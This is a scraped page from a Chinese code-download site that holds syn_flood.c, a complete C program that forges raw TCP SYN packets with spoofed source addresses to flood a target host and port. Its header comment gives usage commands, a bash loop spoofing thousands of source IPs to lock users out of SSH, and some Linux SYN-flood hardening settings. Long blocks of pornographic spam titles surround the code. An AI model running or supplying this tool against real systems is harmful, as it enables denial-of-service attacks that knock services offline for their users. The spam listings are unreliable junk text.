亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? syn_flood.c

?? SYN攻擊代碼
?? C
字號(hào):
/* Copyright GPL 2003 by Mike Chirico <mchirico@users.sourceforge.net>  How to use this program.   You must run this program as root, since it generates raw sockets. The   following example does a ping SYN flood against 192.168.1.71 2000000 time   on port 80.     $./rawsockets -s 192.168.1.155 -d 192.168.1.71 -n 2000000 -p 80   How do you prevent against such an attack? See the following article:        http://souptonuts.sourceforge.net/tcpdump_tutorial.html  References:    $ man packet    http://www.infosecwriters.com/text_resources/pdf/raw_tcp.pdf    http://www.linuxjournal.com/article/4659    http://www.cs.huji.ac.il/labs/danss/planetlab/SafeRawSockets.pdf    http://www.securityfocus.com/infocus/1729    http://post.doit.wisc.edu/linux/secure.html    http://staff.washington.edu/dittrich/misc/ddos/    http://www.ibr.cs.tu-bs.de/lehre/ws0405/sec/uebung/uebung4.pdf    ftp://rtfm.mit.edu/pub/usenet-by-group/comp.unix.programmer/Raw_IP_Networking_FAQ  ##### Begin DoS Prevention #####                                            # shut some DoS stuff down                                                  echo 1 > /proc/sys/net/ipv4/tcp_syncookies                                  echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses               echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts                                                                                                 # increase the local port range                                             echo 1024 65535 > /proc/sys/net/ipv4/ip_local_port_range                                                                                                # increase the SYN backlog queue                                            echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog                                                                                                      echo 0 > /proc/sys/net/ipv4/tcp_sack                                        echo 0 > /proc/sys/net/ipv4/tcp_timestamps                                                                                                              echo 64000 > /proc/sys/fs/file-max                                                                                                                      ulimit -n 64000                                                           Run the following on a client to test a server against DOS. Below the following works against port 22. You will not be able to login.     #!/bin/bash     for j in `seq 254`                                                  do                                                                   for i in `seq 256`                                                  do                                                                   ./rawsockets -s "192.168.$j.$i" -d 192.168.1.71 -p 22 -n 1         done                                                               done                                                While the above is running issue the following command on the server.    $ echo 1 > /proc/sys/net/ipv4/tcp_syncookies  Also take a look at the number of half-open connections.    $ netstat -n -t|grep 'SYN_RECV'               If you want to set the SackOK    $ ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2  Or if you want to set SackOK and mss to 1460    $ ./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2 -y 2 -z 4 -g 5 -h 180  References for TCP options:    http://www.packetshack.org/index.php?page=decode_tcp_opt*/#define __USE_BSD#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include <arpa/inet.h>#define __FAVOR_BSD#include <netinet/tcp.h>#include <unistd.h>#include <time.h>#include <stdlib.h>#include <string.h>#include <stdio.h>struct tcp_options{  u_int8_t op0;  u_int8_t op1;  u_int8_t op2;  u_int8_t op3;  u_int8_t op4;  u_int8_t op5;  u_int8_t op6;  u_int8_t op7;};char datagram[4096];		/* datagram buffer */char pheader[1024];		/* pseudoheader buffer for computing tcp checksum */uint16_tcsum (uint16_t * addr, int len){  int nleft = len;  uint32_t sum = 0;  uint16_t *w = addr;  uint16_t answer = 0;  while (nleft > 1)  {    sum += *w++;    nleft -= 2;  }  if (nleft == 1)  {    *(unsigned char *) (&answer) = *(unsigned char *) w;    sum += answer;  }  sum = (sum >> 16) + (sum & 0xffff);  sum += (sum >> 16);  answer = ~sum;  return (answer);}intmain (int argc, char **argv){  int flags = 0, c, numtries = 90;  char src_ip[17];  char dst_ip[17];  short dst_port = 80;  short th_sport = 1234;  short tcp_flags = TH_SYN;  short pig_ack = 0;  struct ip *iph = (struct ip *) datagram;  struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));  struct tcp_options *tcpopt =    (struct tcp_options *) (datagram + sizeof (struct ip) +			    sizeof (struct tcphdr));  struct sockaddr_in servaddr;  memset (datagram, 0, 4096);	/* zero out the buffer */  fprintf (stderr, "sizeof (struct ip)= %d\n", sizeof (struct ip));  snprintf (src_ip, 16, "%s", "192.168.8.12");	//default  while ((c = getopt (argc, argv, "s:d:n:p:f:a:q:w:x:y:z:g:h:i:j:")) != -1)  {    switch (c)    {    case 's':      flags |= 0x1;      snprintf (src_ip, 16, "%s", optarg);      break;    case 'd':      flags |= 0x2;      snprintf (dst_ip, 16, "%s", optarg);      break;    case 'n':      flags |= 0x4;      numtries = atoi (optarg);      break;    case 'p':      flags |= 0x8;      dst_port = atoi (optarg);      break;    case 'f':      tcp_flags = atoi (optarg);      break;    case 'a':      pig_ack = atoi (optarg);      break;    case 'q':      th_sport = atoi (optarg);      break;    case 'w':      tcpopt->op0 = atoi (optarg);      break;    case 'x':      tcpopt->op1 = atoi (optarg);      break;    case 'y':      tcpopt->op2 = atoi (optarg);      break;    case 'z':      tcpopt->op3 = atoi (optarg);      break;    case 'g':      tcpopt->op4 = atoi (optarg);      break;    case 'h':      tcpopt->op5 = atoi (optarg);      break;    case 'i':      tcpopt->op6 = atoi (optarg);      break;    case 'j':      tcpopt->op7 = atoi (optarg);      break;    case '?':      flags |= 0x10;      fprintf (stderr, "Unrecognized option  \n");      break;    }  }  if (!(flags & 0x2))  {    fprintf (stderr,	     "\nrawsockets -s <source ip> -d <destination ip> -p <port> -n <number of SYN floods>\n");    fprintf (stderr, "\nYou must give me a destination\n");    fprintf (stderr,	     "  Example:\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1\n");    fprintf (stderr,	     "  Or with SackOK :\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2\n");    fprintf (stderr,	     "  SackOK and mss 1460:\n\t\t./rawsockets -s 192.168.1.81 -d 192.168.1.71 -p 80 -n 1 -w 4 -x 2 -y 2 -z 4 -g 5 -h 180\n");    return 1;  }  if (getuid ())  {    fprintf (stderr,	     "\n Also, you must be root to run this program:  ./su -c \"./rawsockets -s <source ip> -d <destination ip> -p 80 -n 2000\"\n");    return 1;  }  fprintf (stdout, "src %s dst %s number of tries %d\n", src_ip, dst_ip,	   numtries);  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);	/* open raw socket */  servaddr.sin_family = AF_INET;  // servaddr.sin_port = htons (10000);  //OLD WAY  servaddr.sin_addr.s_addr = inet_addr (dst_ip); /* destination ip */  inet_pton (AF_INET, dst_ip, &servaddr.sin_addr);  int tcphdr_size = sizeof (struct tcphdr);  iph->ip_hl = 5;  iph->ip_v = 4;  iph->ip_tos = 0;  iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr) + 8 + 6 + 6;	/* data size = 0, but tcp using option flags */  iph->ip_id = htons (31337);  iph->ip_off = 0;  iph->ip_ttl = 250;  iph->ip_p = 6;  iph->ip_sum = 0;  //OLD WAY iph->ip_src.s_addr = inet_addr (src_ip);/* source ip  */  inet_pton (AF_INET, src_ip, &(iph->ip_src));  iph->ip_dst.s_addr = servaddr.sin_addr.s_addr;  tcph->th_sport = htons (th_sport);	/* source port */  tcph->th_dport = htons (dst_port);	/* destination port */  tcph->th_seq = htonl (31337);  tcph->th_ack = htonl (pig_ack);	/* in first SYN packet, ACK is not present */  tcph->th_x2 = 0;  // tcph->th_off = sizeof(struct tcphdr)/4; /* data position in the packet */  // Special chirico adjustment to give 2x32  tcph->th_off = 7 + 2 + 1;  fprintf (stderr, "Data offset %d  sizeof(struct tcphdr)=%d\n",	   tcph->th_off, sizeof (struct tcphdr));  /*     #  define TH_FIN        0x01     #  define TH_SYN        0x02     #  define TH_RST        0x04     #  define TH_PUSH       0x08     #  define TH_ACK        0x10     #  define TH_URG        0x20   */  tcph->th_flags = tcp_flags;	/* initial connection request */  tcph->th_win = htons (57344);	/* FreeBSD uses this value too */  tcph->th_sum = 0;		/* we will compute it later */  tcph->th_urp = 0;  if (tcphdr_size % 4 != 0)	/* takes care of padding to 32 bits */    tcphdr_size = ((tcphdr_size % 4) + 1) * 4;  fprintf (stderr, "tcphdr_size %d\n", tcphdr_size);  tcphdr_size = 40;  fprintf (stderr, "tcphdr_size %d\n", tcphdr_size);  memset (pheader, 0x0, sizeof (pheader));  memcpy (&pheader, &(iph->ip_src.s_addr), 4);  memcpy (&pheader[4], &(iph->ip_dst.s_addr), 4);  pheader[8] = 0;		// just to underline this zero byte specified by rfc  pheader[9] = (u_int16_t) iph->ip_p;  pheader[10] = (u_int16_t) (tcphdr_size & 0xFF00) >> 8;  pheader[11] = (u_int16_t) (tcphdr_size & 0x00FF);  /* tcpopt->op0=4;   sackOK      tcpopt->op1=2;   */  memcpy (&pheader[12], tcph, sizeof (struct tcphdr));  memcpy (&pheader[12 + sizeof (struct tcphdr)], tcpopt,	  sizeof (struct tcp_options));  fprintf (stderr, "12+sizeof(struct tcphdr)= %d    %d\n",	   12 + sizeof (struct tcphdr), sizeof (struct tcp_options));  /* This is an example of setting SackOK we need to set it in the     header for checksum and in the actual data.  This should only get     sent when using SYN? */  //pheader[32]=4;  //  pheader[33]=2;  //datagram[40]=4;  //datagram[41]=2;  fprintf (stderr, "********** %d %d\n", tcpopt->op0, datagram[40]);  fprintf (stderr, "********** %d %d\n", tcpopt->op1, datagram[41]);  fprintf (stderr, "csum size is %d\n", tcphdr_size + 12);  tcph->th_sum = csum ((uint16_t *) (pheader), tcphdr_size + 12);  //  iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);  int one = 1;  const int *val = &one;  if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)  {    fprintf (stderr,	     "Error: setsockopt. You need to run this program as root\n");    return -1;  }  int modval = numtries / 15;  if (modval < 2)    modval = 2;  int ft = 0;  while (numtries-- > 0)  {    if (sendto	(s, datagram, iph->ip_len, 0, (struct sockaddr *) &servaddr,	 sizeof (servaddr)) < 0)    {      fprintf (stderr, "Error in sendto\n");      exit (1);    }    else    {      if (ft == 0)      {	fprintf (stderr,		 "[****************]\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b");	ft = 1;      }      if ((numtries % modval) == 0)	fprintf (stderr, ".");    }  }  fprintf (stderr, "sizeof(struct tcp_options)=%d\n",	   sizeof (struct tcp_options));  return 0;}

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美视频一二三区| 日韩你懂的电影在线观看| 日韩高清国产一区在线| 久久精品网站免费观看| 在线亚洲欧美专区二区| 国产黄色精品视频| 亚洲成人av一区二区| 国产欧美一区二区精品忘忧草| 欧美三级电影一区| 99久久精品免费精品国产| 九九**精品视频免费播放| 一区二区三区在线视频观看58| 26uuu另类欧美亚洲曰本| 欧美午夜精品久久久久久超碰| 成人永久看片免费视频天堂| 免费高清在线视频一区·| 亚洲制服丝袜一区| 1000精品久久久久久久久| 精品国产乱码久久久久久老虎 | 日韩毛片在线免费观看| 精品久久一二三区| 欧美精品九九99久久| 色激情天天射综合网| 成人免费福利片| 国产在线日韩欧美| 色94色欧美sute亚洲13| 国产成人精品一区二| 激情偷乱视频一区二区三区| 青青草一区二区三区| 视频一区视频二区中文字幕| 樱花影视一区二区| 亚洲视频香蕉人妖| 亚洲色图视频免费播放| 国产精品嫩草影院av蜜臀| 久久嫩草精品久久久精品| 精品88久久久久88久久久| 日韩视频中午一区| 欧美一区二区视频在线观看| 欧美裸体一区二区三区| 欧美日韩激情一区二区三区| 在线看国产一区| 欧美性大战xxxxx久久久| 在线观看亚洲专区| 欧美性xxxxxx少妇| 欧美性淫爽ww久久久久无| 欧美在线视频全部完| 欧美色综合影院| 精品视频一区三区九区| 精品视频一区二区三区免费| 777亚洲妇女| 欧美一区二区三区免费观看视频| 日韩一区二区三区四区五区六区| 日韩精品一区二区三区视频| 久久亚洲捆绑美女| 久久久久久久久久久久久久久99| 久久久不卡网国产精品二区| 国产日韩欧美电影| 国产精品久久久久aaaa樱花 | 亚洲国产精品影院| 五月婷婷久久综合| 奇米色777欧美一区二区| 精品一区二区三区的国产在线播放 | 狠狠色综合日日| 国产v日产∨综合v精品视频| 成人av网站大全| 色香蕉成人二区免费| 欧美日韩一区二区三区在线看| 欧美人与性动xxxx| 日韩精品一区二区三区在线播放 | 精品国产一区久久| 久久精品夜色噜噜亚洲aⅴ| 国产精品夫妻自拍| 亚洲成人激情自拍| 精品在线观看视频| 99re视频精品| 欧美一区二区三区公司| 久久日一线二线三线suv| 亚洲欧美在线高清| 五月综合激情日本mⅴ| 经典三级视频一区| 色噜噜狠狠色综合中国| 色妞www精品视频| 日韩欧美国产一区二区在线播放| 欧美高清一级片在线观看| 亚洲激情五月婷婷| 麻豆国产精品一区二区三区| 成人高清免费在线播放| 欧美日韩色综合| 久久久777精品电影网影网 | 国产精品网站在线播放| 亚洲午夜影视影院在线观看| 老司机精品视频导航| 成人国产精品免费观看动漫| 91精品国产手机| 中文字幕亚洲一区二区av在线| 日韩精品福利网| 99久久国产综合精品色伊| 日韩精品一区二区在线观看| 亚洲另类春色国产| 国产精一品亚洲二区在线视频| 91福利社在线观看| 国产午夜精品一区二区三区嫩草| 亚洲国产一区二区三区青草影视| 麻豆国产一区二区| 欧美日韩在线播放三区| 亚洲国产精品v| 日韩精品1区2区3区| 99久久99久久精品国产片果冻| 日韩欧美一区中文| 亚洲不卡在线观看| av激情成人网| 国产欧美日韩精品a在线观看| 日韩精品一二三四| 欧美亚洲高清一区| 国产精品久久久久9999吃药| 久久99久久99| 欧美日韩成人综合在线一区二区| 国产精品免费av| 精品在线一区二区三区| 欧美性猛片xxxx免费看久爱| 国产精品久久久久影院| 国产一区二区三区精品欧美日韩一区二区三区| 欧美日韩在线三区| 亚洲一二三四久久| jizzjizzjizz欧美| 欧美高清在线精品一区| 国产精品夜夜嗨| 国产日韩高清在线| 激情六月婷婷久久| 2023国产精品| 美女尤物国产一区| 欧美精品丝袜中出| 一区二区三区四区在线| 91免费观看视频| 国产精品亚洲一区二区三区妖精 | 亚洲精品欧美激情| 99视频精品在线| 国产精品福利一区| 99热99精品| 亚洲色图欧美在线| 91色在线porny| 亚洲视频一二三区| 在线一区二区视频| 亚洲综合色婷婷| 欧美另类videos死尸| 香蕉成人伊视频在线观看| 欧美日韩黄色一区二区| 香蕉久久夜色精品国产使用方法| 欧美日韩精品一区二区在线播放| 午夜电影网亚洲视频| 91精品在线免费| 美脚の诱脚舐め脚责91| 久久综合色播五月| 国产成人免费视频网站 | 成人理论电影网| 国产精品无圣光一区二区| 97精品超碰一区二区三区| 亚洲人成在线观看一区二区| 91成人在线免费观看| 亚洲大片在线观看| 日韩欧美亚洲一区二区| 国产一区免费电影| 国产精品色噜噜| 91污在线观看| 偷窥国产亚洲免费视频| 日韩视频在线观看一区二区| 国产成人av电影在线播放| 国产精品三级久久久久三级| 色综合天天综合网天天看片| 轻轻草成人在线| 国产亚洲精品aa| 色哟哟一区二区三区| 日本亚洲三级在线| 国产色一区二区| 91黄色免费版| 久久国产免费看| 国产精品久久久久久一区二区三区| 91久久香蕉国产日韩欧美9色| 日韩avvvv在线播放| 日韩欧美专区在线| av日韩在线网站| 久久精品免费看| 亚洲女同ⅹxx女同tv| 欧美一区日韩一区| 成人在线视频一区二区| 日韩主播视频在线| 国产精品女人毛片| 91精品欧美久久久久久动漫| 成人永久免费视频| 男女性色大片免费观看一区二区| 中文字幕一区二区三区在线不卡| 欧美另类videos死尸| 成熟亚洲日本毛茸茸凸凹| 午夜久久久久久久久| 中文一区在线播放| 91麻豆精品国产综合久久久久久| 成人av集中营| 久久99国产精品免费网站| 亚洲精品国产品国语在线app| 久久日韩粉嫩一区二区三区|